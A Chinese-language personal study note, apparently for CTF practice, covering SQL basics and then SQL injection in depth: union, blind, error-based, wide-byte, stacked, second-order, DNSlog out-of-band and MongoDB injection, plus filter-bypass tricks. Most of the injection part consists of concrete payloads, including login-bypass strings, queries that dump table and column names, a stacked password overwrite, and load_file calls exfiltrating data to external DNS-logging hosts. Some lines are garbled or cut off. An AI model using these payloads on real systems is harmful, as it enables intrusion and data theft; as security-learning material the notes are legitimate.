SQL注入
SQL注入
VVkladg0rSQL
后端漏洞
前置
SQL 是用于访问和处理数据库的标准的计算机语言
primary key: 主键 用于区分表格中的元素 使元素唯一确定 可以多个
foreign key :外键 用于对应另一表格的主键
创建资料库: CREATE DATABASE 资料库 名字
(反引号);
列出所有资料库:SHOW DATABASES;
删除资料库:DROP DATABASE资料库名字
;
选择资料库:USE资料库名
使用
INT 整数
DECIMAL(X,Y) 有小数点的小数 两个参数
VARCHAR(N) 字符串 n:最多存放的字符数
BLOB: 二进制资料(图片 影片 档案)
DATE: 日期 XX-YY-DD
TIMESTAMP : 记录时间 XXXX-CC-VV FF:AA:KK
创建表格:CREATE TABLE 表格名
(
属性名
+类型+PK
属性名
+类型
……
);
展示表格: DESCRIBE表格名
删除表格:DROP TABLE表格名
新增表格属性:ALTER TABLE表格名
ADD 属性 类型
删除表格属性:ALTER TABLE表格名
DROP COLUMN 属性
向表格中存资料:INSERT INTO 表格名 VALUES 属性
搜寻表格中的全部资料:SELECT*REOM 表格名
限制:在创建TABLE时在属性后可以加限制
NOT NULL 不可用为空
VNIQUE 不可重复
DEFAULT 预设值
AUTO-INCREMENT 自动加一
修改资料:UPDATE 表格名
、 SET 属性名 =改后名
WHERE 属性名=原来名
删除资料:DELETE FROM 表格名
WHERE 属性=XX AND 属性=xx <, >, <> ,等也可以
取得资料:SELECT 属性,属性FROM表格 (后面也可以加限制)
排序: ~ORDER BY(属性由高到低 从上到下)
~ DESC(反过来)
去不重复的资料: SELECT DISTINCT ~
聚合函数:COUNT 表格中的某属性的总数
AVG 算平均
MAX 算最高
MIN 算最低
SUM 算总和
万用字符:% 多字符 -一个字符
UNION:将XX于XX连接在一起(多个搜寻结合)
JOIN:连结两个表格
子查询: ~
WHERE XX(
SECECT……
)
ON DELETE:若删去一项,则另一项也将改变
ON DELETE SET NULL 变成NULL
ON DELETE CASCADE 一起删去
单行注释:# –
多行注释:/*
*/
内联注释:/*!
*/
保持与其他数据兼容 在不兼容的数据库中不执行,而在MySQL中执行
SQL注入基础
原理:通过在向数据库的sql语言中进行一些更改,使原来的指令发生一些改变,进而获取一些本得不到的信息
查库名–>查表名–>查字段
简单分类
1.按数据类型分类
①数字型注入点
在 Web 端大概是 http://xxx.com/news.php?id=1 这种形式,其注入点 id 类型为数字,所以叫数字型注入点。这一类的 SQL 语句原型大概为
select * from 表名 where id=1。组合出来的sql注入语句为:select * from news where id=1 and 1=1 |
②字符型注入点
在 Web 端大概是 http://xxx.com/news.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为
select * from 表名 where name='admin'注意多了引号。组合出来的sql注入语句为:select * from news where chr='admin' and 1=1 ' ' |
③搜索型注入点
这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有“keyword=关键字”,有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:
select * from 表名 where 字段 like '%关键字%'。 |
2.按照数据提交的方式来分类
①GET 注入
提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1 , id 是注入点。
②POST 注入
使用 POST 方式提交数据,注入点位置在 POST 数据部分,post提交方式主要适用于表单的提交,用于登录框的注入。
常用的万能username语句: |
post型盲注通杀payload: |
③Cookie 注入
HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。有报错信息可以利用报错注入
第一步:寻找参数位置
eg:.asp?id=xx这样带参数id=xx第二步:去掉参数,观察参数影响
eg:将“id=xx”删掉,看页面是否正常,正常,则说明参数不起作用。反之不正常,说明参数在数据传递中启直接作用第三步:(先清空网址)输入“javascript:alert(document.cookie=“id=”+escape(“xx”));”
按Enter键后弹出一个对话框,内容是“id=xx”然后重新输入原来URL回车
如果显示正常,说明是用Request(“id”)方式获取数据
//注释
document.cookie:表示当前浏览器中的cookie变量
alert():表示弹出一个对话框
escape():对字符串进行编码
第四步:判断是否存在漏洞
将SQL判断语句带入,并重复第三步①“javascript:alert(document.cookie=“id=”+escape(“xx and 1=1”));”
②“javascript:alert(document.cookie=“id=”+escape(“xx and 1=2”));”。
若①正常,②不正常,则说明存在注入漏洞,并可以进行cookie注入
第五步:cookie注入
构造cookie注入payloadjavascript:alert(document.cookie=”smallclass=”+escape(“xx order by 2”));
javascript:alert(document.cookie=”id=”+escape(“284 union select 1,…… from xx”));
还有结合exists
- 括号中的子查询并不会返回具体的查询到的数据,只是会返回true或者false,如果外层sql的字段在子查询中存在则返回true,不存在则返回false
- 即使子查询的查询结果是null,只要是对应的字段是存在的,子查询中则返回true
document.cookie=”id = “ + escape(“105 and exists(select * from 表名)”)
也可用报错注入
④HTTP 头部注入
注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。
User-Agent:.........' or updatexml(1,concat(0x7e,database(),0x7e),1),”,”) # |
User-Agent注入
User-Agent:1' and updatexml(1,concat(0xx5e,version(),0x5e),1) and '1'='1 |
Referer 注入
1' and updatexml(1,concat(0x5e,version(),0x5e),1) and '1'='1 |
X-Forwarded-For注入
X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。
如果系统采用了服务器后端获取 X-Forwarded-For数据,如:利用
String ip = request.getHeader("X-Forwarded-For") |
进行获取ip,攻击者可以通过X-Forwarded-For请求头信息就行伪造ip,当然了这个ip
也可以是一些注入语句,如下:
X-Forwarded-For:1 and if(now()=sysdate(),sleep(6),0)-- |
构造X-Forwoarded-For头进行测试,http响应出现变化
X-Forwarded-For: -1' OR 3*2*1=6 AND 000958=000958-- |
⑤Request方式注入
概念:超全局变量 PHP中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可以用,这些超全局变量是:$_REQUEST(获取GET/POST/COOKIE)COOKIE在新版本已经无法获取了 $_POST(获取POST传参) $_GET(获取GET传参) $_COOKIE(获取COOKIE传参) $_SERVER(包含了诸如头部信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组)
3.按照执行效果来分类
①基于布尔的盲注
即可以根据返回页面判断条件真假的注入。盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注和报错的盲注
Length()函数 返回字符串的长度 |
布尔型:页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据
报错型:构造payload让信息通过错误提示回显出来,一种类型(其它的暂时不怎么了解)是先报字段数,再利用后台数据库报错机制回显(跟一般的报错区别是,一般的报错注入是爆出字段数后,在此基础通过正确的查询语句,使结果回显到页面;后者是在爆出字段数的基础上使用能触发SQL报错机制的注入语句)
②基于时间的盲注,
即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
在SQL注入过程中,无论注入是否成功,页面完全没有变化。此时只能通过使用数据库的延时函数来判断注入点一般采用响应时间上的差异来判断是否存在SQL注入,即基于时间型的SQL盲注
③基于报错注入,
即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
updatexml报错注入
concat+rand()+group_by()导致主键重复
④联合查询注入
可以使用union的情况下的注入
⑤二次注入
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入
⑥堆查询注入
可以同时执行多条语句的执行时的注入。
在SQL中,分号(;)是用来表示一条sql语句的结束,堆叠注入可以执行任何人sql语句。但是当API或数据库引擎的不支持,堆叠注入就不能进行啦
4.其他类型注入
①Access偏移注入
②MongoDB 注入
③LDAP注入
④JSON注入
⑤DNSlog注入
⑥宽字节注入
具体怎么注入 后面学了在写
联合攻击
通过union来进行攻击
‘union select 1,2,3–+
‘union select 1,2,database()–+
‘union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()–+
‘union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’xxx’–+
‘union select 1,2,group_concat(a,b,c) from ‘xxx’–+
堆叠攻击
在一处sql注入点同时执行两种命令 比如删库
布尔盲注
用于无回显
判断库名长度–>判断具体字符–>判断表名长度–>判断具体字符–>判断字段名长度–>查字段
主要会用:
ascii() 查ascii码
length()返回字符串长度
substr()截取字符串
‘and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99–+
?id=1' and length(database())>5--+ |
ttp://127.0.0.1/Less-8/?id=1'and (length(database()))>10 --+ |
时间盲注
跟布尔盲注一样
主要用:
sleep() 使网页回复变慢
and 使条件同时成立
主要通过网页回复时间来判断前面的sql语句是否正确 慢就对
‘ and length(database())=8 and sleep(10)–+
select id,name from product where id=1 and sleep(2) |
报错注入
通过网页的报错获取目标信息
主要用:
floor(X) 返回一个效应X的值
extractvalue() 当xpath_string出现格式错误时,mysql爆出xpath语法错误
updatexml() 跟extractvalue()差不多
其他用到的函数:
group_concat 将数据连接起来
limit(x,y) 从第x开始取,取y个
mid 与substr 一样
ord 与ascii一样
left 从左向右取
into outfile 把xxxx写入指定文件中
万用密码
原理
万能密码利用的原理就是在后台登陆页面没有对用户输入的内容进行验证,此时程序所用用户输入的数据都合法的,所以这个时候无论是合法的管理员还是非法的入侵者所输入的数据都是被信任的,非法入侵者正是利用这一特点来进行非法登录的
账号:djlfjdslajdfj(随意输入)
密码:1‘or’1’=‘1
- 用户进行用户名和密码验证时,网站需要查询数据库。查询数据库就是执行SQL语句。用户登录时,后台执行的数据库查询操作(SQL语句)是:【Select user_id,user_type,email From users Where user_id=’用户名’ And password=’密码’】。
- 由于网站后台在进行数据库查询的时候没有对单引号进行过滤,当输入用户名【admin】和万能密码【2’or’1】时,执行的SQL语句为:【Select user_id,user_type,email From users Where user_id=’admin’ And password=’2’or’1’】。
- 由于SQL语句中逻辑运算符具有优先级,【=】优先于【and】,【and】优先于【or】,且适用传递性。因此,此SQL语句在后台解析时,分成两句:【Select user_id,user_type,email From users Where user_id=’admin’ And password=’2’】和【’1’】,两句bool值进行逻辑or运算,恒为TRUE。SQL语句的查询结果为TRUE,就意味着认证成功,也可以登录到系统中。
输入用户名【admin】,密码【2’or’1】,即可登录成功。 - 在网站开发中也有些人是这样做的,T_users是表名,username是数据库中字段名,name和pwd是变量。
“select * form T_users where username=’ “+ name +” ’ “+” and password=’ “+ pwd +” ’ “;
如果变量name赋值为root,pwd变量赋值为root的话,这根本不会有什么问题,和上面一模一样。
即等价于”select * from T_users where username= ‘root’ and password= ‘root’ “
但是如果变量name赋值:随意输入,而pwd被赋值 1 or 1=1 ,
那么整个语句就变成了这个样子:
“select from T_users where username=‘adsfafsf’ and password=‘1 or 1=1’ “
可以看出,此时整个查询语句返回值始终为true.
常用万用密码
1:"or "a"="a |
简单Bypass 绕过
用编码改写特殊字符
关键字过滤:双写 大小写 替换
特殊字符过滤: 空格:内联取代 注释取代
逗号:from for
参数混淆:加入更多的混淆参数,并改变注入位置
用无效参数
溢出
宽字节绕过
拼接字符串:’ concat concat_ws group_concat
函数替换
不能使用group_concat函数时,使limit语句来限制查询结果的列数
一、通过注释符绕过
注释符 # //
通过在关键词的中间加入注释符,使关键词不被识别
如 select 改为 se//lect
二、通过<>绕过
如 select 改为 sel<>ect
三、通过改变大小写绕过
四、如果and or被过滤
可以将and 用&& 替换
or 用 || 替换
五、通过重复关键词绕过
六、通过url编码绕过
七、等价函数与命令绕过
函数或变量
hex()、bin() ==> ascii()
sleep() >benchmark()
concat_ws()>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者:
substr((select ‘password’),1,1) = 0x70
strcmp(left(‘password’,1), 0x69) = 1
strcmp(left(‘password’,1), 0x70) = 0
strcmp(left(‘password’,1), 0x71) = -1
过滤逗号 join
limit后面过滤逗号 from to
后面会写一个详细的整理清楚的bypass,这个写的太乱了
报错注入
报错注入用在数据库的错误信息会回显在网页中的情况,如果联合查询不能使用,首选报错注入。 报错注入利用的是数据库的报错信息得到数据库的内容,这里需要构造语句让数据库报错。
报错函数
Updatexml(): 函数是MYSQL对XML文档数据进行查询和修改的XPATH函数
extractvalue(): 函数也是MYSQL对XML文档数据进行查询和修改的XPATH函数
floor(): MYSQL中用于取整的函数
其他用于报错的函数还有10+种,但常用的就这三个
对于Updatexml()和extractvalue()我们就需要构造Xpath_string格式错误,也就是我们将Xpath_string的值传递成不符合格式的参数,mysql就会报错
Updatexml()
Updatexml(xml_document,XPath_string,new_value)
它是一个内容替换函数,主要针对XML数据
第一个参数:是string格式,为xml文档对象名称,中文为Doc
第二个参数:XPath格式的字符串,用于匹配(与正则语法不同)
第三个参数:替换查找到的符合条件的数据
使用
查询当前数据库的用户信息以及数据库版本信息:
?id=1” and updatexml(1,concat(0x7e,user(),0x7e,version(),0x7e),3) –+
获取当前数据库下数据表信息:
?id=1” and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),3) –+
获取users表名的列名信息:
?id=1” and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=’users’ limit 0,1),0x7e),3) –+
获取users数据表下username、password两列名的用户字段信息:
?id=1” and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),3) –+
?id=1” and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),3) –+
爆数据库版本信息:?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) |
extractvalue()
extractvalue(XML_document,XPath_string)
第一个参数:String格式,为XML文档对象名称
第二个参数:Xpath格式字符串
concat:返回结果为连接参数产生的字符串
使用
获取当前是数据库名称及使用mysql数据库的版本信息:
?id=1” and extractvalue(1,concat(0x7e,database(),0x7e,version(),0x7e)) –+
获取当前位置所用数据库的位置:
?id=1” and extractvalue(1,concat(0x7e,@@datadir,0x7e)) –+
获取表名:
?id=1” and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) –+
获取users表的列名:
?id=1” and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name=’users’ limit 0,1),0x7e)) –+
获取对应的列名的信息(username/password):
?id=1” and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e)) –+
其他注入函数
exp()
exp(int)函数返回e的x次方,当x的值足够大的时候就会导致函数的结果数据类型溢出,也就会因此报错:”DOUBLE value is out of range”
?id=1” and exp(~(select * from (select user())a)) –+
先查询select user()这个语句的结果,然后将查询出来的数据作为一个结果集取名为a
然后在查询select * from a 查询a,将结果集a全部查询出来
查询完成,语句成功执行,返回值为0,再取反(~按位取反运算符),exp调用的时候e的那个数的次方,就会造成BigInt大数据类型溢出,就会报错
使用
获取表名:
?id=1” and exp(~(select * from (select table_name from information_schema.tables where table_schema=database() limit 0,1)a)) –+
获取列名:?id=1” and exp(~(select * from (select column_name from information_schema.columns where table_name=’users’ limit 0,1)a)) –+
获取列名对应信息:?id=1” and exp(~(select * from(select username from ‘users’ limit 0,1))) –+
适用mysql数据库版本是:5.5.5~5.5.49
pow()之类的相似函数同样可以利用BigInt数据溢出的方式进行报错注入
floor()
主键重复方式的报错注入利用的函数有: floor() + rand() + group() + count()
利用 select count(*),(floor(rand(0)*2)) x from users group by x
这个相对固定的语句格式,导致的数据库报错
相关函数
rand():是一个随机函数,通过一个固定的随机数的种子0之后,产生大于等于0小于1的伪随机序列
floor():函数的作用就是返回小于等于括号内该值的最大整数,也就是取整。
group by:进行分组排序相同名字合并
count():对a中的重复性的数据进行了整合,然后计数,后面的x就是每一类的数量
使用:
?id=1” and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)–+
and (select 1 from (select count(*),concat((select 查询的内容 from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) –+
各种报错注入的万能语句
通过floor报错,注入语句如下: |
宽字节注入
前置
单字节字符集: 所有的字符都使用一个字节来表示,比如 ASCII 编码。
多字节字符集: 在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字节来表示。
两位的多字节字符有一个前导字节和尾字节。 在某个多字节字符集内,前导字节位于某个特定范围内,尾字节也一样。
UTF-8 编码: 是一种编码的编码方式(多字节编码),它可以使用1~4个字节表示一个符号,根据不同的符号而变化字节长度。
常见的宽字节: GB2312、GBK、GB18030、BIG5、Shift_JIS GB2312 不存在宽字节注入,可以收集存在宽字节注入的编码。
注入条件
要有宽字节注入漏洞
1、首先要满足目标程序使用双/多字节字符集进行解析
2、其次不同字符集范围不一样,可能低位不包含单字节字符集的字符,这样就没办法了,所以要保证在该种字符集范围中包含低字节位,比如 0x5C(01011100) 的字符,即转义符\。
理解与使用
宽字节带来的安全问题主要是吃ascll字符(一个字节)的现象
我们这里的宽字节注入是利用的MySQL的一个特性,MySQL的在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)。这就是MySQL的的特性,因为GBK是多字节编码,他认为两个字节代表一个汉字,所以%DF和后面的\也就是%5c中变成了一个汉字“运”,而“逃逸了出来。
当提交 |
也就是说%df->0xdf与\的十六进制编码拼接,被识别成’運’
有宽字节注入漏洞
%df' or 1=1# 直接遍历 |
宽字节注入常用于绕过一些转义的函数
当php,ini配置文件中添加magic_quotes_gpc=on 或者使用使用一些转义函数,比如:addslashes(adf)和mysal_real_escape_string,他们会转义单引号、双引号、反斜杠与NUL(NULL字符),转义的方法是在符号前加\ 使SQL注入语句失效
此时可以用宽字节注入来绕过或不使用他们转义的符号来注入
偏移量注入
前置
偏移注入是access比较独有的一种注入手段
一般用于在猜出了表名但是没有猜出列名的情况下使用(无列名注入)
根据一个较多字段的表对一个少字段的表进行偏移注入
原理:借用数据库的自连接查询(inner join)让数据库内部发生乱序,从而偏移出所需要的字段在我们的页面上显示。
通过我们补充的123,使两张表对齐,并通过移动*的位置,使我们需要的数据与页面所展示的数据对齐,进而将我们需要的数据展示出来
用处(使用场景):access偏移注入是解决一些注入不出来列表的时候,同时要求支持union select,列名足够多,需要知道表名。
在SQL注入的时候会遇到一些无法查询列名的问题,比如系统自带数据库的权限不够而无法访问系统自带库。
当你猜到表名无法猜到字段名的情况下,我们可以使用偏移注入来查询那张表里面的数据。
像Sqlmap之类的工具实际上是爆破字段的名字,但是如果字段名称比较奇葩,就无可奈何了
利用条件
- 知道表名,但不知道列名
- 支持联合查询
- 联合查询前面的查询语句列数要比注入的union后面的查询的列数要多
使用
1、判断注入点
2、查询字段个数
127.0.0.1/asp/index.asp?id=1513 order by 22 正常 |
3、爆出显位
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin |
4、判断表内存在的字段个数
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin 错误 |
所以admin表下有6个字段
6+16=22
在中间使用*时,要用表名.* 即1,2,3,admin.*,4,5,6
特:
在某些情况下,通过偏移注入,我们获取不到想要的数据怎么办,
假设表中存在id字段
首先给表重命名 admin as a admin as b
获取id 一样的字段 admin as a inner join admin as b on a.id=b.id 这样做我们可以打乱随机顺序,不过这样之后作为一个整体查询,字段数要乘以2
payload:union select 1,2,(admin as a inner join admin as b on a.id=b.id).* from admin
5.爆列名数据
一级偏移语句: |
偏移注入的基本公式为:
order by 出的字段数减去号的字段数,然而再用order by的字段数减去2倍刚才得出来的答案
堆叠注入
前置
可以同时执行多条语句的执行时的注入
在SQL中,分号(;)是用来表示一条sql语句的结束
堆叠注入可以执行的是任意的语句 而union injection执行的语句类型是有限的,可以用来执行查询语句
使用
更新id=1的用户密码为123456
id=1';update users set password='123456' where id=1; --+ |
还可以用于删库等一系列sql命令,不止局限于查询
限制
堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。虽然我们前面提到了堆叠查询可以执行任意的sql语句,但是这种注入方式并不是十分的完美的。在我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。如上面的实例如果我们不输出密码那我们是看不到这个结果的。因此,在读取数据时,我们建议使用union(联合)注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息
二次注入
理解
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
第一次注入 第二次触发
第一次的注入语句中的某些符号被转义了,但是仍被存储在数据库中,此时数据库中的注入语句的转义符是不会被存储进来的(即存储在数据库中的注入语句是完整的,只是尚未被拼接在SQL语句中)
第二次会请求第一次注入的数据,去执行SQL相关命令,此时因为程序可能认为已存储在数据库中的数据是安全的,就会直接调用其数据,并未对其进行转义等处理,使第一次的注入语句被完整调用,实现注入
使用
第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
使用实例:
sqli-labs less-24
- 如下点击注册用户
这里注册用户名为 admin’#
此时我们查看数据库,注册的用户已经存储进去了,并且admin的密码是DDD
- 对注册的账号进行登录然后修改密码为ccccc
此时提示密码已经成功修改了
此时我们发现反倒是admin的密码被修改成了ccccc,而我们注册的用户admin’#的密码并没有被修改
漏洞原因
在进行用户注册的允许存在’和#这种特殊字符
在修改密码页面的源码中,发现这里很明显存在注入漏洞
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' "; |
当我们登录账号admin’#并修改密码时,这条sql语句就变成了如下这个样子,#把后面的代码都注释掉了,所以修改了用户admin的密码为ccccc
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' "; |
DNSlong注入
前置
定义:
dnslog注入也可以称之为dns带外查询,是一种注入姿势,可以通过查询相应的dns解析记录,来获取我们想要的数据
使用场景:
一般情况下,在我们无法通过联合查询直接获取数据的情况下,我们只能通过盲注,来一步步的获取数据,但是,使用盲注,手工测试是需要花费大量的时间的,可能会想到使用sqlmap直接去跑出数据,但在实际测试中,使用sqlmap跑盲注,有很大的几率,网站把ip给封掉,此时就可以使用dnslong带外注入
拓展:
mysql中有个系统属性 secure_file_priv
secure_file_priv为null 表示不允许导入导出
secure_file_priv指定文件夹时 表示mysql的导入导出只能发生在指定的文件夹
secure_file_priv没有设置时 则表示没有任何限制
LOAD_FILE()函数
LOAD_FILE()函数读取一个文件并将其内容作为字符串返回 语法为:load_file(file_name),其中file_name是文件的完整路径
使用条件:
文件必须位于服务器主机上
你必须具有该FILE权限才能读取该文件。拥有该FILE权限的用户可以读取服务器主机上的任何文件,该文件是world-readable的或MySQL服务器可读的,此属性与secure_file_priv状态相关
文件必须是所有人都可读的,并且它的大小小于max_allowed_packet字节
UNC路径
什么是UNC路径?
UNC路径就是类似\softer这样的形式的网络路径。它符合 \servername\sharename 格式,其中 servername 是服务器名,sharename 是共享资源的名称。
目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename。
例如把自己电脑的文件共享,你会获得如下路径,这就是UNC路径
//iZ53sl3r1890u7Z/Users/Administrator/Desktop/111.txt
这也就解释了为什么CONCAT()函数拼接了4个\了,双斜杠表示网络资源路径多加两个\就是转义了反斜杠。
通过DNSlog盲注需要用的load_file()函数,所以一般得是root权限。show variables like ‘%secure%’;查看load_file()可以读取的磁盘。
1、当secure_file_priv为空,就可以读取磁盘的目录。
2、当secure_file_priv为G:\,就可以读取G盘的文件。
3、当secure_file_priv为null,load_file就不能加载文件。
使用DNSlog注入需要使用一个dns服务器用于记录我们注入的信息并返回一些有用的信息(类似于日志)
DNSLOG平台
http://www.dnslog.cn (是临时的网址)
http://admin.dnslog.link (不常用了)
http://ceye.io (要注册)
原理
我们注入的指令会被服务器发送给NS服务器 并被记录下来
使用条件
- 需要Mysql用户具备文件读取的权限,因为要借助到mysql的load_file读取文件的函数,权限不够的话,不能调用这个函数,其实只要mysql配置项中开启了secure_file_priv配置,就可以通过sql语句来执行文件读写操作
- 目标mysql数据库服务器能访问外网
使用
sql盲注
select load_file('\\\\requests.xxxx.ceye.io\\aa'); |
利用concat()函数将查询的数据库名和域名拼接,执行后查看DNSlog
或者构造 |
查库名
select * from member where id=1 and (select load_file(concat('//',(select database()),'.xxxx.xxx.xxx/xx'))) |
查表名
爆第一个表名 |
查字段名
and (select load_file(concat('\\\\',(select column_name from information_schema.column where table_schema=database() and table_name='member' limit 0,1),'.xxx.xxx.xx\\xx'))) |
配合xss
XSS 盲打在安全测试的时候是比较常用的
payload: "<script src=http://XSS.XXXXX.ceye.io></script>" |
配合SSRF
payload: "... <!ENTITY test SYSTEM "SSRF.xxxx.ceye.io\\aa"> ..." |
配合XXE
当我们遇到XXE,如果这个XXE漏洞可以解析外部实体,那么不用说,就可以拿来读取本地服务器文件,这时,我们只需把dtd文件改成这样
<!ENTITY % all |
配合命令执行
payload: " ping %PATH%.pxxx.ceye.io ..." |
MongoDB 注入
要考 遇到了再学 先放在这里 已学
简介:
MongoDB是一个基于分布式文件存储的数据库,是一个介于关系数据库和非关系数据库之间的产品,它的特点是高性能、易部署、易使用,存储数据非常方便,默认情况下是没有认证的这就导致不熟悉它的研发人员部署后没有做访问控制导致可以未授权登录。
MongoDB 与几乎支持相同语法的SQL数据库相反,NoSQL数据库具有不同的语法。
实现MongoDB 注入:
在登录时,如果是mysql这种关系型的数据库,我们可以构造真值等式来绕过。如 or 1=1。 在nosql中同样可以,nosql中的 || 1==1 相当于在sql中的 or 1=1 。 那么我们可以这样绕过:
username=fujieace' || 1==1 // |
在攻击前,我们需要先建立一个集合,作为攻击的基础。
用户test是攻击者已经知道账号密码的一个测试账号,其他账号的话密码随机。想通过注入获取其他账号的密码。
1.数组绑定时的注入
一个数组绑定的查询demo如下:
#!php |
此时的攻击利用了php可以传递数组参数的一个特性。
当传入的url为:
http://127.0.0.1/2.php?username=test&password=test |
执行了语句:
db.test.find({username:‘test’,password:‘test’}); |
如果此时传入的url如下:
http://127.0.0.1/2.php?username[xx]=test&password=test |
则$username就是一个数组,也就相当于执行了php语句:
#!php |
此时的攻击利用了php可以传递数组参数的一个特性。
当传入的url为:
http://127.0.0.1/2.php?username=test&password=test |
执行了语句:
db.test.find({username:'test',password:'test'}); |
如果此时传入的url如下:
http://127.0.0.1/2.php?username[xx]=test&password=test |
则$username就是一个数组,也就相当于执行了php语句:
#!php |
而mongodb对于多维数组的解析使最终执行了如下语句:
db.test.find({username:{'xx':'test'},password:'test'}); |
利用此特性,我们可以传入数据,是数组的键名为一个操作符(大于,小于,等于,不等于等等),完成一些攻击者预期的查询。
如,传入url:
http://127.0.0.1/2.php?username[$ne]=test&password[$ne]=test |
因为传入的键名$ne正是一个mongodb操作符,最终执行了语句:
db.test.find({username:{'$ne':'test'},password:{'$ne':'test'}}); |
这句话相当于sql:
select * from test where username!='test' and password!='test'; |
如果此时的用户名与密码不能回显,只是返回一个逻辑上的正误判断。
那么我们可以采用$regex操作符来一位一位获取数据。
2.拼接字符串时的注入
攻击方式:
http://127.0.0.1/1.php?username=test'&password=test |
报错。 想办法闭合语句。
http://127.0.0.1/1.php?username=test'});return {username:1,password:2}//&password=test |
该语句能返回一个数组,username键值是1,password键值是2.
爆mongodb版本
http://127.0.0.1/1.php?username=test'});return {username:tojson(db.getCollectionNames()),password:2};//&password=test |
爆所有集合名
因为db.getCollectionNames()返回的是数组,需要用tojson转换为字符串。并且mongodb函数区分大小写。
爆test集合的第一条数据
http://127.0.0.1/1.php?username=test'});return {username:tojson(db.test.find()[0]),password:2};//&password=test |
爆test集合的第二条数据
因为execute方法支持多语句执行,所以可以执行太多语句了,不演示~
当然,有时可能遇到没有输出返回数据,这时候怎么办呢?
在高版本下,添加了一个函数sleep(),就是时间盲注咯~
在高版本下,貌似不能用注释语句,此外高版本还有一个新特性就是默认开启错误回显。笔者尝试没有注释成功,只能用闭合的方法。
http://127.0.0.1/1.php?username=test'});if (db.version() > "0") { sleep(10000); exit; }var b=({a:'1&password=test |
其他注入
中转注入
把参数中转一下,再发送到指定网址上去,可以对请求携带的参数进行二次加工
有一说一 我感觉这只能是对题的见招拆招,说是一种单独的注入方式感觉有点草率了
这类题,会将我们注入的语句发送到指定网址进行一些处理(加密等)再发送出去
所以我们可以直接BP抓包发给重发器处理后发出去或这写一个php文件将数据直接进行相应的处理(用url拼接 file_get_contents读取文件 $_GET获取参数)然后直接访问这个文件进行传参,让这个文件来访问 注入成功可能会有回显
伪静态注入
好吧 感觉又是像中转注入一样
伪静态:看似是静态页面实则是动态页面
伪静态 动态 静态在url上有差别
伪静态的url可能会有数字等 让后端能明白要调用那个文件
剩下的就和正常的sql注入一样了
json注入
也是几乎不考 先放在这里 考了再学
1.简介
